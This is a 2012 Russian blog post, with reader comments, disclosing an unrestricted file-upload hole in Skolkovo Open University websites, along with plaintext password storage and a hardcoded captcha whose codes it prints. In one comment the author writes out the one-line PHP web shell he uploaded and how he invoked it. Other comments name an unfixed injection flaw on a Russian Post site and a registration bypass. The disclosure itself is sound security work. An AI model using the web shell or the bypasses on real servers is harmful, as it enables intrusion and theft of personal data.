28 января 2012 в 19:16

Взлом университета Сколково и «соседних» сайтов

Думал, что для освещения хватит записи в личном блоге/твиттере/вк, но не хватило. Тут главное — огласка, поэтому перепост.


Впервые в жизни пишу о скомпрометированном ресурсе. Хотя, бывали случае в N раз крупнее...
Предыстория.
Есть такой университет, как ОтУС — Открытый Университет Сколково. Был (есть) раньше только в Москве, сейчас открывается еще в Томске/Питере. Собственно приехали они к нам с презентацией, замотивировали (правда, очень клевые ребята приехали, вдохновили на поступление, учитывая, что я скептически отношусь (относился) к Сколково), чтобы поступали ну и т.д. Зашел я заполнять заявку и просто сработала привычка…
аплоад кастомных файлов с отсутствием правильно настроенного .htaccesss
Итог: полный доступ к исходным кодам, материалам, заявкам на поступление и базам данных следующих сайтов:
  • openu.ru — Открытый университет Сколково
  • apply.openu.ru — Отбор студентов в Открытый университет Сколково
  • eskolkovo.ru — ДО в Открытом университете Сколково
  • blog.eskolkovo.ru — вроде уже тоже самое, что и openu.ru
  • edu.opensingularity.ru — Открытый университет сингулярных технологий

И вроде еще какие-то, уже не помню.
Но, студенты то не при чем, я даже не стал копать глубже, посмотрел архитектуру ресурса, БД, пару исходников (я такого кода никогда в жизни не видел, под катом я расскажу про капчу, govnokod #1 просто) и сообщил саппорту.

Цель поста — быть на 100% уверенным, что после этой публикации данный скрипт приема студентов уберут навсегда

(хоть и с администратором мы немного поговорили на эту тему). Но чтобы как обычно не забылось, с мыслью — работает и ладно (как это бывает в СНГ), сделаем контрольный выстрел.

Базы данных
Пароли хранятся в чистом виде. На тот момент было около 1,5к+ юзеров с различными персональными данными.
Владельцы папок/процессы веба
Все сайты под одним пользователем (как процесс веб-сервера, так и папки) //в принципе, частично простительно, не хостинг
Исходный код apply.openu
Это просто звиздец. Такого я никогда нигде не видел. Я расскажу вам про обещанную капчу…
Было у них нарисовано 30 картинок с изображением кодов (подозреваю, сделанных в paint, искажений изображения не было), одна из которых рандомно выдавалась юзеру (не фиксировалось, какая). А на серверной стороне…
	$c1 = $_REQUEST['thecode'];
	$i = 0;
	$names[]="GH4BFRO";
	$names[]="EWRHJ42";
	$names[]="JSWDWQ5";
	$names[]="REJ5JN4";
	$names[]="JFUJN47";
	
	
	$names[]="WFEW4B2";
	$names[]="QSDY68M";
	$names[]="BNMCF9J";
	$names[]="VBDXIN5";
	$names[]="RVXSBT5";
	
	$names[]="XCHJN5S";
	$names[]="UETRJ65";
	$names[]="VBNH3UA";
	$names[]="VBRJM4Z";
	$names[]="RSNZGWE";
	
	
	$names[]="GHFTGRO";
	$names[]="AZWDWQ5";
	$names[]="EWUBN42";
	$names[]="AQW5JN4";
	$names[]="JF66N47";
	
	$names[]="GHJW4B2";
	$names[]="QS45V8M";
	$names[]="BCVAF9J";
	$names[]="5VASIN5";
	$names[]="CVBZBT5";
	
	
	$names[]="X3CZN5S";
	$names[]="UBN2RJ6";
	$names[]="VBNHR4Z";
	$names[]="VBBNM4Z";
	$names[]="QWSX2IX";
	...
	for ($i ==0; $i < 30; $i++)
	{
		
		if ($c1 == $names[$i])
		{
			...

Тупо зашитые коды капчи. Принимаем запрос, бежим циклом по всему массиву, нашли совпадение — капча валидна.
Это я просто, об уровне кода :) и все в такое же духе.

Я правда верю, что этот кабинет будет удален с потрохами и руководство позаботится не только о красивом дизайне, но и о безопасности своих ресурсов. На данный момент личный кабинет закрыт, так как закрыт прием заявок и я с чистой совестью опубликовал пост. // мне немного рассказали, почему все так «плохо», но видимо нужна взбучка, и будет все по-другому

Студентам успешного обучения, надеюсь программа курса будет на достойном уровне (как по рассказам было в Мск)

upd: как подметил Old_Chroft, форму регистрации просто закомментировали в html. Коды капчи в картинках:
http://apply.openu.ru/cap/1.gif
http://apply.openu.ru/cap/2.gif
http://apply.openu.ru/cap/3.gif

http://apply.openu.ru/cap/29.gif
http://apply.openu.ru/cap/30.gif

Можно сопоставить с исходником выше
Sergey Belov @BeLove
карма
239,7
рейтинг 0,0
Пользователь
Самое читаемое Разработка

Комментарии (80)

  • +5
    Можно я тоже в качестве огласки напишу сюда? fc.russianpost.ru — оба поля не фильтруют символы вообще. На самом сайте Почты России в разделе поиска почтовых отделений можно вставить в поле индекса кавычку и узнать, например, какая БД используется, путь до документов на веб-сервере (что-то вроде C:\Sites\russianpost) и что-то еще. Писал туда пару раз еще в прошлом году — безрезультатно.
    • +5
      * писал о проблеме на контактный e-mail
      • 0
        Попробуйте отправить обычной Почтой.
    • –1
      Судя по урлу на который уходят post заросы, можно предположить что это все работает в тестовом режиме.
      ../PostOfficeFindInterfaceTest/AddressComparison.asmx
      • +1
        Ничто не вечно то, что задумывалось временным…
        • +6
          какую-то хрень написал… не доброе утро :(
          • +3
            Ты хотел написать «Ничто так постоянно как временное»
            • +3
              Именно! Спасибо!
            • +1
              А точно ли он это хотел написать? :)
              • 0
                Ну, я слышал в таком варианте, предложите свой.
                • +1
                  «не» пропущена же! :)
                  • 0
                    И где?
                    • 0
                      Ничто так __не__ постоянно как временное.
                      • 0
                        А мне и так понятно image
                • 0
                  [Литературный вариант] Нет ничего более постоянного, чем временное.
  • +11
    Бюджеты освоены, это главное.
    Качество мало кого интересует.
    Грустно.
    • +4
      Зато теперь можно будет распилить исчо бюджета на «модернизацию сайта и повышение уровня безопасности».
    • +1
      Ну опять крики о распилах и бюджетах, новое бы уже что придумали.

      Там практически все делают сами студенты. Для себя.
      • +2
        Сделавший такое студент должен быть отправлен в ПТУ, вместе со своим научным руководителем.
  • +69
    Вы ничего не поняли — там на самом деле мегаспецзащита. Запущен демон, который раз в сколько-нибудь обновляет файлы с каптчами и скрипт — чтобы никто не догадался. И вообще это не дыра, а специальный шпионский трюк — вам подсовывают фальшивые скрипты и пока вы не можете двигаться от хохота, за вами приезжают сектетные агенты и увозят на расстрел.
    • +5
      Чёрт, я и сейчас не могу двигаться от хохота.
      • +10
        Особенно смешно, что якобы уво…
    • +7
      А сервер находится в камне, спрятанном у министерства!
      • 0
        Нет, он спрятан за картиной в бывшем доме Корвина!
    • 0
      На самом деле довольно оригинальный способ сделать капчу и при этом полностью рабочий. Проблему спама он наверняка решает. Говнокод — да, но зато сделать её можно за 5 минут.
  • +13
    Без излишней злости скажу так — автора этого кода нужно изолировать от общества. Его программы могут восстать и попытаться захватить мир, убивая все на своем пути.
    • +5
      Сверяя лица людей со списком ASCII из php робот отдавал команды на расстрел людей в CPU пушек, но обойти расстрел было довольно просто: включали на довоенном iPad'е программу face mash, выдающие разные фотографии лиц каждую миллисекунду. На 7000 китайце робот убивал сам себя со словами «true = false;'proschay zlobniy mir';»
    • +4
      Ничего страшного. Его программы по ошибке убьют сами себя.
  • +21
    Судя по капче — код писал никак не меньше чем премьер-министр Индусии, а то и сам царь.
    • 0
      Обычный разработчик мега cms «Своя CMS».
      Он постеснялся на хабре задать вопрос «посоветуйте подходящую cms для сайта университета Сколкова».
  • +2
    Простите, Вы удивлены?
    Разрабатывали скорее, скорее всего, студенты АСУ, которые, кроме паскаля в лучшем случае знают самые базовые основы функционального программирования на php.
    Добавьте сюда начальство, которому не очень интересны вопросы безопасности («да кому это надо, нас взламывать»), зато очень интересны сроки «нужно успеть ко вторнику». Ну и деньги, которые скорее всего студенты АСУ не получают.

    Сам разрабатываю ПО для одного гос. университета, и несмотря на абсолютно адекватное начальство лично у меня (хотя все равно часто приходится гнуть свою линию), я не могу без слез смотреть на то, что происходит вокруг.
    • +3
      Вроде как, так и было, делали студенты. Но это не освобождает от ответственности хранения ПД пользователей.
      Главное, цель достигнуть, чтобы заменили личный кабинет на что-то более серьезное, подготовленный компетентными людьми в области веб-разработки.
      • +3
        Для того, что бы ЛК заменили на что-то более серьезное, это что-то более серьезное нужно разработать. В наших государственных образовательных учереждениях обычно встречается всего два способа разработать ПО:

        1) Подрядить студентов АСУ, (которые, к слову, не сегодня-завтра должны будут стать дипломированными IT-специалистами) которые это сделают бесплатно или за символическую плату в виде зачета. Качество кода, сами понимаете какое
        2) Провести конкурс, заключить договор с IT-фирмой.
        Все-бы ничего, но на практике конкурс выиграет фирма, так или иначе связанная с IT-отделом (в народе — информационно-вычислительным центром) этого-же института, возьмет деньги, распилит между сотрудниками института, а личный кабинет будут писать… угадайте кто? Да-да, все те же студенты.
    • +2
      > Разрабатывали скорее, скорее всего, студенты АСУ, которые, кроме паскаля в лучшем случае знают самые базовые основы функционального программирования на php.

      Неужели всё так плохо в королевстве Датском?..

      Мне всегда казалось, что собственно язык программирования вторичен. И если человек «понимает что да как», скорее не в программировании, а в алгоритмах (а это нарабатывается независимо от языка, и даже всего лишь на одном языке, что не суть важно), то такого откровенного шлака он выдать физически не сможет.
      • 0
        Студентов асу, на сколько мне известно, не обучают тем же алгоритмам и структурам данных, например, или обучают весьма поверхностно. У нас их учат архитектуру разрабатывать, и не софта, а чего-то-там, мне не понятного. Такие дела.
    • +7
      >функционального программирования на PHP
      Вы, наверное, процедурного имели в виду?
      • +1
        Да, конечно.
  • +2
    Нисколько не отрицая ужасности и несекьюрности кода, статья однако написана в стиле Все ..., а я — Д'Артаньян
    • +1
      Все Д'Артаньяны, а я — пи…ас :)
  • +5
    Сколково, такое Сколково…
  • +4
    Лекции там, кстати, интересные.

    А ещё респект автору, который сначала пишет в техподдержку, а потом…
  • 0
    Очень много скобок в тексте. Они наводят панику. Не хочу преуменьшать важности поднятой темы, но автор похож на испуганную институтку. Я понимаю, мандраж и всё такое. Но не чувстуется матёрости автора на фоне всеобщей безалаберности…
    • +2
      Кто знает, может, он — лиспер…
    • +1
  • +8
    Просто сайт поддерживает «Открытость» Университета Сколково — он тоже «открытый».
  • 0
    Да-да, подтверждаю, там ад и Израиль. Кроме того, я им написала 3 письма с описанием багов, на первые два не ответили, а на третье соизволили, причём тон был такой — типа, что вы от нас хотите. Вообще офигенный подход.

    P. S. Периодически пишу на сайты, на которые захожу, багрепорты с найденными ошибками, но вот такой ответ в первый раз получаю.
  • +1
    jobаный стыд… надеюсь это на самом деле студенты делали, которых заставили, а не web-контора. Открываем source страницы — видим:
    meta name=«Generator» content=«Drupal 7

    Получается вроде бы уже готовое решение вместо того что бы до ума довести, наоборот — испоганили?
    • 0
      Данная капча работала по ссылке — apply.openu.ru/register.php, где размещено «свое» решение, не имеющее отношения к друпалу.
      • +7
        Ну вот зачем показали :) Теперь я узнал как там бездарно закрыли регистрацию — тупо закомментировали форму. FireBug в руки — и айда регистрироваться.
        • 0
          :) точно. Добавил ссылки на изображения капчи в пост (можно сопоставить с исходником)
  • +1
    А мне вот интересно, такая капча работала? То есть реально много ли из тех людей, которые пишут распознавалки капчи, смотрят, повторяются ли те и не статические ли они? Никто ведь и не ожидает такой фишки от сайта, поэтому такая капча частично выполняет свою функцию, отпугивая некоторую часть ботов :)

    И да, я ни в коем случае не оправдываю эту капчу тем фактом, что она частично выполняет свою функцию. Так делать ни в коем случае нельзя.
    • 0
      Распознавалка 30-и статических картинок после часа «обучения» будет 100% проходить тест. Причем под «обучением» подразумевается такой же индусский код — регуляркой вытаскиваем имя файла изображение, бот уже знает ответ. Это под силу любому скрипт-кидди. Другой вопрос — кому это надо.
      • 0
        Это-то понятно. Но вопрос в том, в реальной жизни будут ли (даже не будут ли, а делают ли так) спаммеры писать такую тривиальную обучалку, надеясь на такую маху со стороны сайтописателей?
        • 0
          Люди, занимающиеся рассылкой спама и люди, пишущие для этого софт обычно разные люди.
          Если есть ещё один метод борьбы с капчей, то почему бы производителям спам-софта его не добавить?
          • +1
            Вы правы, с терминологией я слегка запутался.
            Мой вариант по поводу «почему не добавить борьбу с такой капчей» — просто невозможность предусмотреть «глубину человеческой глупости».
            Я не занимался софтом, занимающимся распознаванием капчи, но оценивая себя, если бы передо мной стояла такая задача, я бы не предположил возможность того, что там просто три десятка нарисованных статических капч. Но, вобщем-то говоря, я не сильно-то в теме, поэтому изначальный комментарий начинался со слов «мне интересно» :)
            • 0
              Приходилось заниматься и таким. Как правило первый шаг: накачать как можно больше картинок, на которые можно будет натаскать программу распознавания. Чем сложнее капча, тем желательнее иметь как можно больше картинок. Уже на этом шаге заметить цикличность будет очень просто.
          • 0
            я ниже написал причину, по которой производителям спам-софта это не нужно: взлом любой «нестандартной» капчи нужен только в конкретных случаях. Хотя сабжевую капчу распознать довольно просто даже тем что сейчас имеется — независимо от того, статические там картинки или нет: искажений на ней нет, используется всего один шрифт.
        • 0
          Я про это и написал — «кому это надо». Спам-боты пишутся или под широко-распространенные движки (форумы, CMS), или затачиваются под конкретный сайт (вспомним описание методики взломов капчи яндекса и хабра). В случае с форумами и CMS-ками все понятно — X-Rumer до сих пор жив и подыхать наверное не собирается (хотя приматы конкуренцию создают), видать кому-то эти услуги еще нужны. Но в случае с сайтом Сколковского универа — кому это надо? Создать миллион заявок — это только если just for lulz, выгоды я тут не вижу. Подобную капчу они наверное тоже сделали из таких же соображений — «кому мы нужны».
          OFFTOP: Программа = программер (два «м»). Спам = спамер (одна «м»).
    • 0
      «Общался» с разными сайтами муниципальных закупок. Пару раз встречал капчу. До распознавания никогда не доходило.
    • 0
      Верно — «нельзя недооценивать предсказуемость тупизны» (с)
  • 0
    Хм… Автор, кажется вы поступили =)
    • 0
      Ага, сразу на 5-ый курс, или что у них там…
    • 0
      Думаю, на должность не ниже профессорской :).
  • –6
    Я просто оставлю это тут
    • +2
      Что это?
    • 0
      Зачем?
      • 0
        Э, мдээ. Хабрастораж сжал картинку, не видно надписей. Собственно, «FireBug в руки — и айда регистрироваться.»
        • 0
          мы рады за ваш широкий монитор, но делайте у'же окошко браузера перед снимком экрана.
          • 0
            Извиняюсь. Так лучше?

            • 0
              да, так гораздо лучше

              А что вы хотели сказать письмом?
              Кривость русской темы или то, что к моменту написания поста ещё можно было зарегистрироваться?
              • –1
                Второе. Просто хотелось проверить. Интересно, сколько вппапваы 11-вичей поступит в Сколково? Ещё и кодировка темы слетела, хотя, возможно, это глюк временной почты.
                • 0
                  Кривая кодировка темы — это известный глюк самого сервиса 10MinuteMail.
  • 0
    Вроде, это далеко не первый подобный случай с сайтами, связанными со Сколково: google

    > аплоад кастомных файлов с отсутствием правильно настроенного .htaccesss
    а можно ли узнать у вас, как вы это поняли и алгоритм, как вы все это достали и с помощью чего?
    не с целью взлома какого-то другого сайта, а с целью расширения кругозора, так сказать :-)
    • +4
      Это второй. Первый собственно взлом самого Сколково, а это — его университета.
      Встретил форму аплоада картинок (по задумке авторов), вместо ожидаемой картинки подсунул hello.php
      <?php system($_GET['cmd']); ?>
      

      Обратился к загруженной «картинке» hello.php?uname+-a и получил ожидаемый (уже для меня) результат. А по идее, если не ограничиваешь mime-тип загружаемых данных (определенный из http запроса и не только — к примеру командой «file -ib uploaded_file») — нужно ложить в папку соответствующий .htaccess, который будет отдавать исполняемые скрипты на сервере как plaint text.
    • 0
      plain* естественно
  • +1
    Вы бы выложили исходники, чисто поржать.
  • 0
    Ну вот нефиг брать на работу студентов, которые за «3 тыши рублей» делают сайты. Не буду говорить конкретно, что и как, хотелось как-то выйграть тендер на сумму 8 миллионов рублей, на разработку для некоего вуза, некоего софта. Они прямо честно с нами сказали, что согласны на откат 95%. А учитывая тот факт, что в эту сумму закладывалось и все железо, то задачу за 400к просто нереально решить, железа только по прикидкам миллионов на 6.

    Да и здесь видимо подобная ситуация.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.